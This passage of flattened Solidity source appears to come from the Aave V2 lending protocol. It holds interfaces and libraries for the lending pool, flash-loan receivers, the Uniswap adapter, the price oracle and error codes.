modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title LendingPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Aave Governance * @author Aave **/ interface ILendingPoolAddressesProvider { event MarketIdSet(string newMarketId); event LendingPoolUpdated(address indexed newAddress); event ConfigurationAdminUpdated(address indexed newAddress); event EmergencyAdminUpdated(address indexed newAddress); event LendingPoolConfiguratorUpdated(address indexed newAddress); event LendingPoolCollateralManagerUpdated(address indexed newAddress); event PriceOracleUpdated(address indexed newAddress); event LendingRateOracleUpdated(address indexed newAddress); event ProxyCreated(bytes32 id, address indexed newAddress); event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy); function getMarketId() external view returns (string memory); function setMarketId(string calldata marketId) external; function setAddress(bytes32 id, address newAddress) external; function setAddressAsProxy(bytes32 id, address impl) external; function getAddress(bytes32 id) external view returns (address); function getLendingPool() external view returns (address); function setLendingPoolImpl(address pool) external; function getLendingPoolConfigurator() external view returns (address); function setLendingPoolConfiguratorImpl(address configurator) external; function getLendingPoolCollateralManager() external view returns (address); function setLendingPoolCollateralManager(address manager) external; function getPoolAdmin() external view returns (address); function setPoolAdmin(address admin) external; function getEmergencyAdmin() external view returns (address); function setEmergencyAdmin(address admin) external; function getPriceOracle() external view returns (address); function setPriceOracle(address priceOracle) external; function getLendingRateOracle() external view returns (address); function setLendingRateOracle(address lendingRateOracle) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; library DataTypes { // refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties. struct ReserveData { //stores the reserve configuration ReserveConfigurationMap configuration; //the liquidity index. Expressed in ray uint128 liquidityIndex; //variable borrow index. Expressed in ray uint128 variableBorrowIndex; //the current supply rate. Expressed in ray uint128 currentLiquidityRate; //the current variable borrow rate. Expressed in ray uint128 currentVariableBorrowRate; //the current stable borrow rate. Expressed in ray uint128 currentStableBorrowRate; uint40 lastUpdateTimestamp; //tokens addresses address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; //address of the interest rate strategy address interestRateStrategyAddress; //the id of the reserve. Represents the position in the list of the active reserves uint8 id; } struct ReserveConfigurationMap { //bit 0-15: LTV //bit 16-31: Liq. threshold //bit 32-47: Liq. bonus //bit 48-55: Decimals //bit 56: Reserve is active //bit 57: reserve is frozen //bit 58: borrowing is enabled //bit 59: stable rate borrowing enabled //bit 60-63: reserved //bit 64-79: reserve factor uint256 data; } struct UserConfigurationMap { uint256 data; } enum InterestRateMode {NONE, STABLE, VARIABLE} } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IUniswapV2Router02 { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title IPriceOracleGetter interface * @notice Interface for the Aave price oracle. **/ interface IPriceOracleGetter { /** * @dev returns the asset price in ETH * @param asset the address of the asset * @return the ETH price of the asset **/ function getAssetPrice(address asset) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; interface IERC20WithPermit is IERC20 { function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {IFlashLoanReceiver} from '../interfaces/IFlashLoanReceiver.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; abstract contract FlashLoanReceiverBase is IFlashLoanReceiver { using SafeERC20 for IERC20; using SafeMath for uint256; ILendingPoolAddressesProvider public immutable override ADDRESSES_PROVIDER; ILendingPool public immutable override LENDING_POOL; constructor(ILendingPoolAddressesProvider provider) public { ADDRESSES_PROVIDER = provider; LENDING_POOL = ILendingPool(provider.getLendingPool()); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {IPriceOracleGetter} from '../../interfaces/IPriceOracleGetter.sol'; import {IUniswapV2Router02} from '../../interfaces/IUniswapV2Router02.sol'; interface IBaseUniswapAdapter { event Swapped(address fromAsset, address toAsset, uint256 fromAmount, uint256 receivedAmount); struct PermitSignature { uint256 amount; uint256 deadline; uint8 v; bytes32 r; bytes32 s; } struct AmountCalc { uint256 calculatedAmount; uint256 relativePrice; uint256 amountInUsd; uint256 amountOutUsd; address[] path; } function WETH_ADDRESS() external returns (address); function MAX_SLIPPAGE_PERCENT() external returns (uint256); function FLASHLOAN_PREMIUM_TOTAL() external returns (uint256); function USD_ADDRESS() external returns (address); function ORACLE() external returns (IPriceOracleGetter); function UNISWAP_ROUTER() external returns (IUniswapV2Router02); /** * @dev Given an input asset amount, returns the maximum output amount of the other asset and the prices * @param amountIn Amount of reserveIn * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount out of the reserveOut * @return uint256 The price of out amount denominated in the reserveIn currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) * @return address[] The exchange path */ function getAmountsOut( uint256 amountIn, address reserveIn, address reserveOut ) external view returns ( uint256, uint256, uint256, uint256, address[] memory ); /** * @dev Returns the minimum input asset amount required to buy the given output asset amount and the prices * @param amountOut Amount of reserveOut * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount in of the reserveIn * @return uint256 The price of in amount denominated in the reserveOut currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) * @return address[] The exchange path */ function getAmountsIn( uint256 amountOut, address reserveIn, address reserveOut ) external view returns ( uint256, uint256, uint256, uint256, address[] memory ); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title Errors library * @author Aave * @notice Defines the error messages emitted by the different contracts of the Aave protocol * @dev Error messages prefix glossary: * - VL = ValidationLogic * - MATH = Math libraries * - CT = Common errors between tokens (AToken, VariableDebtToken and StableDebtToken) * - AT = AToken * - SDT = StableDebtToken * - VDT = VariableDebtToken * - LP = LendingPool * - LPAPR = LendingPoolAddressesProviderRegistry * - LPC = LendingPoolConfiguration * - RL = ReserveLogic * - LPCM = LendingPoolCollateralManager * - P = Pausable */ library Errors { //common errors string public constant CALLER_NOT_POOL_ADMIN = '33'; // 'The caller must be the pool admin' string public constant BORROW_ALLOWANCE_NOT_ENOUGH = '59'; // User borrows on behalf, but allowance are too small //contract specific errors string public constant VL_INVALID_AMOUNT = '1'; // 'Amount must be greater than 0' string public constant VL_NO_ACTIVE_RESERVE = '2'; // 'Action requires an active reserve' string public constant VL_RESERVE_FROZEN = '3'; // 'Action cannot be performed because the reserve is frozen' string public constant VL_CURRENT_AVAILABLE_LIQUIDITY_NOT_ENOUGH = '4'; // 'The current liquidity is not enough' string public constant VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE = '5'; // 'User cannot withdraw more than the available balance' string public constant VL_TRANSFER_NOT_ALLOWED = '6'; // 'Transfer cannot be allowed.' string public constant VL_BORROWING_NOT_ENABLED = '7'; // 'Borrowing is not enabled' string public constant VL_INVALID_INTEREST_RATE_MODE_SELECTED = '8'; // 'Invalid interest rate mode selected' string public constant VL_COLLATERAL_BALANCE_IS_0 = '9'; // 'The collateral balance is 0' string public constant VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = '10'; // 'Health factor is lesser than the liquidation threshold' string public constant VL_COLLATERAL_CANNOT_COVER_NEW_BORROW = '11'; // 'There is not enough collateral to cover a new borrow' string public constant VL_STABLE_BORROWING_NOT_ENABLED = '12'; // stable borrowing not enabled string public constant VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY = '13'; // collateral is (mostly) the same currency that is being borrowed string public constant VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = '14'; // 'The requested amount is greater than the max loan size in stable rate mode string public constant VL_NO_DEBT_OF_SELECTED_TYPE = '15'; // 'for repayment of stable debt, the user needs to have stable debt, otherwise, he needs to have variable debt' string public constant VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = '16'; // 'To repay on behalf of an user an explicit amount to repay is needed' string public constant VL_NO_STABLE_RATE_LOAN_IN_RESERVE = '17'; // 'User does not have a stable rate loan in progress on this reserve' string public constant VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE = '18'; // 'User does not have a variable rate loan in progress on this reserve' string public constant VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0 = '19'; // 'The underlying balance needs to be greater than 0' string public constant VL_DEPOSIT_ALREADY_IN_USE = '20'; // 'User deposit is already being used as collateral' string public constant LP_NOT_ENOUGH_STABLE_BORROW_BALANCE = '21'; // 'User does not have any stable rate loan for this reserve' string public constant LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = '22'; // 'Interest rate rebalance conditions were not met' string public constant LP_LIQUIDATION_CALL_FAILED = '23'; // 'Liquidation call failed' string public constant LP_NOT_ENOUGH_LIQUIDITY_TO_BORROW = '24'; // 'There is not enough liquidity available to borrow' string public constant LP_REQUESTED_AMOUNT_TOO_SMALL = '25'; // 'The requested amount is too small for a FlashLoan.' string public constant LP_INCONSISTENT_PROTOCOL_ACTUAL_BALANCE = '26'; // 'The actual balance of the protocol is inconsistent' string public constant LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR = '27'; // 'The caller of the function is not the lending pool configurator' string public constant LP_INCONSISTENT_FLASHLOAN_PARAMS = '28'; string public constant CT_CALLER_MUST_BE_LENDING_POOL = '29'; // 'The caller of this function must be a lending pool' string public constant CT_CANNOT_GIVE_ALLOWANCE_TO_HIMSELF = '30'; // 'User cannot give allowance to himself' string public constant CT_TRANSFER_AMOUNT_NOT_GT_0 = '31'; // 'Transferred amount needs to be greater than zero' string public constant RL_RESERVE_ALREADY_INITIALIZED = '32'; // 'Reserve has already been initialized' string public constant LPC_RESERVE_LIQUIDITY_NOT_0 = '34'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_ATOKEN_POOL_ADDRESS = '35'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_STABLE_DEBT_TOKEN_POOL_ADDRESS = '36'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_POOL_ADDRESS = '37'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_STABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '38'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '39'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_ADDRESSES_PROVIDER_ID = '40'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_CONFIGURATION = '75'; // 'Invalid risk parameters for the reserve' string public constant LPC_CALLER_NOT_EMERGENCY_ADMIN = '76'; // 'The caller must be the emergency admin' string public constant LPAPR_PROVIDER_NOT_REGISTERED = '41'; // 'Provider is not registered' string public constant LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD = '42'; // 'Health factor is not below the threshold' string public constant LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED = '43'; // 'The collateral chosen cannot be liquidated' string public constant LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = '44'; // 'User did not borrow the specified currency' string public constant LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE = '45'; // "There isn't enough liquidity available to liquidate" string public constant LPCM_NO_ERRORS = '46'; // 'No errors' string public constant LP_INVALID_FLASHLOAN_MODE = '47'; //Invalid flashloan mode selected string public constant MATH_MULTIPLICATION_OVERFLOW = '48'; string public constant MATH_ADDITION_OVERFLOW = '49'; string public constant MATH_DIVISION_BY_ZERO = '50'; string public constant RL_LIQUIDITY_INDEX_OVERFLOW = '51'; // Liquidity index overflows uint128 string public constant RL_VARIABLE_BORROW_INDEX_OVERFLOW = '52'; // Variable borrow index overflows uint128 string public constant RL_LIQUIDITY_RATE_OVERFLOW = '53'; // Liquidity rate overflows uint128 string public constant RL_VARIABLE_BORROW_RATE_OVERFLOW = '54'; // Variable borrow rate overflows uint128 string public constant RL_STABLE_BORROW_RATE_OVERFLOW = '55'; // Stable borrow rate overflows uint128 string public constant CT_INVALID_MINT_AMOUNT = '56'; //invalid amount to mint string public constant LP_FAILED_REPAY_WITH_COLLATERAL = '57'; string public constant CT_INVALID_BURN_AMOUNT = '58'; //invalid amount to burn string public constant LP_FAILED_COLLATERAL_SWAP = '60'; string public constant LP_INVALID_EQUAL_ASSETS_TO_SWAP = '61'; string public constant LP_REENTRANCY_NOT_ALLOWED = '62'; string public constant LP_CALLER_MUST_BE_AN_ATOKEN = '63'; string public constant LP_IS_PAUSED = '64'; // 'Pool is paused' string public constant LP_NO_MORE_RESERVES_ALLOWED = '65'; string public constant LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN = '66'; string public constant RC_INVALID_LTV = '67'; string public constant RC_INVALID_LIQ_THRESHOLD = '68'; string public constant RC_INVALID_LIQ_BONUS = '69'; string public constant RC_INVALID_DECIMALS = '70'; string public constant RC_INVALID_RESERVE_FACTOR = '71'; string public constant LPAPR_INVALID_ADDRESSES_PROVIDER_ID = '72'; string public constant VL_INCONSISTENT_FLASHLOAN_PARAMS = '73'; string public constant LP_INCONSISTENT_PARAMS_LENGTH = '74'; string public constant UL_INVALID_INDEX = '77'; string public constant LP_NOT_CONTRACT = '78'; string public constant SDT_STABLE_DEBT_OVERFLOW = '79'; string public constant SDT_BURN_EXCEEDS_BALANCE = '80'; enum CollateralManagerErrors { NO_ERROR, NO_COLLATERAL_AVAILABLE, COLLATERAL_CANNOT_BE_LIQUIDATED, CURRRENCY_NOT_BORROWED, HEALTH_FACTOR_ABOVE_THRESHOLD, NOT_ENOUGH_LIQUIDITY, NO_ACTIVE_RESERVE, HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD, INVALID_EQUAL_ASSETS_TO_SWAP, FROZEN_RESERVE } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; /** * @title IFlashLoanReceiver interface * @notice Interface for the Aave fee IFlashLoanReceiver. * @author Aave * @dev implement this interface to develop a flashloan-compatible flashLoanReceiver contract **/ interface IFlashLoanReceiver { function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external returns (bool); function ADDRESSES_PROVIDER() external view returns (ILendingPoolAddressesProvider); function LENDING_POOL() external view returns (ILendingPool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {ILendingPoolAddressesProvider} from './ILendingPoolAddressesProvider.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; interface ILendingPool { /** * @dev Emitted on deposit() * @param reserve The address of the underlying asset of the reserve * @param user The address initiating the deposit * @param onBehalfOf The beneficiary of the deposit, receiving the aTokens * @param amount The amount deposited * @param referral The referral code used **/ event Deposit( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint16 indexed referral ); /** * @dev Emitted on withdraw() * @param reserve The address of the underlyng asset being withdrawn * @param user The address initiating the withdrawal, owner of aTokens * @param to Address that will receive the underlying * @param amount The amount to be withdrawn **/ event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount); /** * @dev Emitted on borrow() and flashLoan() when debt needs to be opened * @param reserve The address of the underlying asset being borrowed * @param user The address of the user initiating the borrow(), receiving the funds on borrow() or just * initiator of the transaction on flashLoan() * @param onBehalfOf The address that will be getting the debt * @param amount The amount borrowed out * @param borrowRateMode The rate mode: 1 for Stable, 2 for Variable * @param borrowRate The numeric rate at which the user has borrowed * @param referral The referral code used **/ event Borrow( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint256 borrowRateMode, uint256 borrowRate, uint16 indexed referral ); /** * @dev Emitted on repay() * @param reserve The address of the underlying asset of the reserve * @param user The beneficiary of the repayment, getting his debt reduced * @param repayer The address of the user initiating the repay(), providing the funds * @param amount The amount repaid **/ event Repay( address indexed reserve, address indexed user, address indexed repayer, uint256 amount ); /** * @dev Emitted on swapBorrowRateMode() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user swapping his rate mode * @param rateMode The rate mode that the user wants to swap to **/ event Swap(address indexed reserve, address indexed user, uint256 rateMode); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user); /** * @dev Emitted on rebalanceStableBorrowRate() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user for which the rebalance has been executed **/ event RebalanceStableBorrowRate(address indexed reserve, address indexed user); /** * @dev Emitted on flashLoan() * @param target The address of the flash loan receiver contract * @param initiator The address initiating the flash loan * @param asset The address of the asset being flash borrowed * @param amount The amount flash borrowed * @param premium The fee flash borrowed * @param referralCode The referral code used **/ event FlashLoan( address indexed target, address indexed initiator, address indexed asset, uint256 amount, uint256 premium, uint16 referralCode ); /** * @dev Emitted when the pause is triggered. */ event Paused(); /** * @dev Emitted when the pause is lifted. */ event Unpaused(); /** * @dev Emitted when a borrower is liquidated. This event is emitted by the LendingPool via * LendingPoolCollateral manager using a DELEGATECALL * This allows to have the events in the generated ABI for LendingPool. * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param liquidatedCollateralAmount The amount of collateral received by the liiquidator * @param liquidator The address of the liquidator * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ event LiquidationCall( address indexed collateralAsset, address indexed debtAsset, address indexed user, uint256 debtToCover, uint256 liquidatedCollateralAmount, address liquidator, bool receiveAToken ); /** * @dev Emitted when the state of a reserve is updated. NOTE: This event is actually declared * in the ReserveLogic library and emitted in the updateInterestRates() function. Since the function is internal, * the event will actually be fired by the LendingPool contract. The event is therefore replicated here so it * gets added to the LendingPool ABI * @param reserve The address of the underlying asset of the reserve * @param liquidityRate The new liquidity rate * @param stableBorrowRate The new stable borrow rate * @param variableBorrowRate The new variable borrow rate * @param liquidityIndex The new liquidity index * @param variableBorrowIndex The new variable borrow index **/ event ReserveDataUpdated( address indexed reserve, uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex ); /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external returns (uint256); /** * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower * already deposited enough collateral, or he was given enough allowance by a credit delegator on the * corresponding debt token (StableDebtToken or VariableDebtToken) * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet * and 100 stable/variable debt tokens, depending on the `interestRateMode` * @param asset The address of the underlying asset to borrow * @param amount The amount to be borrowed * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator * if he has been given credit delegation allowance **/ function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external; /** * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address * @param asset The address of the borrowed underlying asset previously borrowed * @param amount The amount to repay * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode` * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the * user calling the function if he wants to reduce/remove his own debt, or the address of any other * other borrower whose debt should be removed * @return The final amount repaid **/ function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external returns (uint256); /** * @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa * @param asset The address of the underlying asset borrowed * @param rateMode The rate mode that the user wants to swap to **/ function swapBorrowRateMode(address asset, uint256 rateMode) external; /** * @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve. * - Users can be rebalanced if the following conditions are satisfied: * 1. Usage ratio is above 95% * 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been * borrowed at a stable rate and depositors are not earning enough * @param asset The address of the underlying asset borrowed * @param user The address of the user to be rebalanced **/ function rebalanceStableBorrowRate(address asset, address user) external; /** * @dev Allows depositors to enable/disable a specific deposited asset as collateral * @param asset The address of the underlying asset deposited * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise **/ function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external; /** * @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external; /** * @dev Allows smartcontracts to access the liquidity of the pool within one transaction, * as long as the amount taken plus a fee is returned. * IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration. * For further details please visit https://developers.aave.com * @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface * @param assets The addresses of the assets being flash-borrowed * @param amounts The amounts amounts being flash-borrowed * @param modes Types of the debt to open if the flash loan is not returned: * 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver * 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2 * @param params Variadic packed params to pass to the receiver as extra information * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; /** * @dev Returns the user account data across all the reserves * @param user The address of the user * @return totalCollateralETH the total collateral in ETH of the user * @return totalDebtETH the total debt in ETH of the user * @return availableBorrowsETH the borrowing power left of the user * @return currentLiquidationThreshold the liquidation threshold of the user * @return ltv the loan to value of the user * @return healthFactor the current health factor of the user **/ function getUserAccountData(address user) external view returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ); function initReserve( address reserve, address aTokenAddress, address stableDebtAddress, address variableDebtAddress, address interestRateStrategyAddress ) external; function setReserveInterestRateStrategyAddress(address reserve, address rateStrategyAddress) external; function setConfiguration(address reserve, uint256 configuration) external; /** * @dev Returns the configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The configuration of the reserve **/ function getConfiguration(address asset) external view returns (DataTypes.ReserveConfigurationMap memory); /** * @dev Returns the configuration of the user across all the reserves * @param user The user address * @return The configuration of the user **/ function getUserConfiguration(address user) external view returns (DataTypes.UserConfigurationMap memory); /** * @dev Returns the normalized income normalized income of the reserve * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view returns (uint256); /** * @dev Returns the normalized variable debt per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve normalized variable debt */ function getReserveNormalizedVariableDebt(address asset) external view returns (uint256); /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view returns (DataTypes.ReserveData memory); function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromAfter, uint256 balanceToBefore ) external; function getReservesList() external view returns (address[] memory); function getAddressesProvider() external view returns (ILendingPoolAddressesProvider); function setPause(bool val) external; function paused() external view returns (bool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {BaseUniswapAdapter} from './BaseUniswapAdapter.sol'; import {ILendingPoolAddressesProvider} from 